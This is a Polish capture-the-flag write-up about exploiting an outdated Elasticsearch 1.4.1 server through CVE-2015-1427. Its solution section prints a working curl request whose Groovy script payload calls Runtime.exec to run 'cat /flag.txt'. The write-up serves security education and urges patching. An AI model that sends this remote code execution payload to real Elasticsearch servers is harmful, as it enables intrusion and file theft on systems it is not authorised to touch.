Opis

Aktualizowanie oprogramowania to bardzo ważna sprawa. Używamy wersji Elasticsearch 1.4.1, która została wydana w 2014 roku! Obecna wersja to już 9.0.1.

Stare wersje oprogramowania często zawierają luki bezpieczeństwa — tak jest również w tym przypadku.

Rozwiązanie

Na początku warto sprawdzić, jakie są znane podatności dla tej wersji.

Po chwili szukania można trafić na CVE-2015-1427. CVE (Common Vulnerabilities and Exposures) to unikalny identyfikator nadawany znanym lukom w oprogramowaniu.

W tym przypadku ta luka umożliwia wykonanie dowolnego kodu na serwerze, np. odczyt plików. W Internecie jest dużo opisów i przykładów jak go wykonać - np. tutaj.

W uproszeniu wystarczy wysłać takie zapytanie:

curl -XPOST 'http://localhost:9200/_search?pretty' -H 'Content-Type: application/json' -d '
{
  "size": 1,
  "query": {
    "match_all": {}
  },
  "script_fields": {
    "test": {
      "lang": "groovy",
      "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /flag.txt\").getText()"
    }
  }
}
'

Pole script nie powinno być wykonywane, a jest i dzięki temu możemy wykonać dowolną komendę. W naszym przypadku jest to cat /flag.txt - czyli wyświetlenie zawartości tego pliku.

Podsumowanie

W cyberbezpieczeństwie nie zawsze trzeba samemu odkrywać podatności. Istnieją bazy takie jak CVE, które dokumentują znane luki.

Aby zautomatyzować ich wyszukiwanie i wykorzystanie, można korzystać z narzędzi takich jak Metasploit, które umożliwiają testowanie wielu podatności.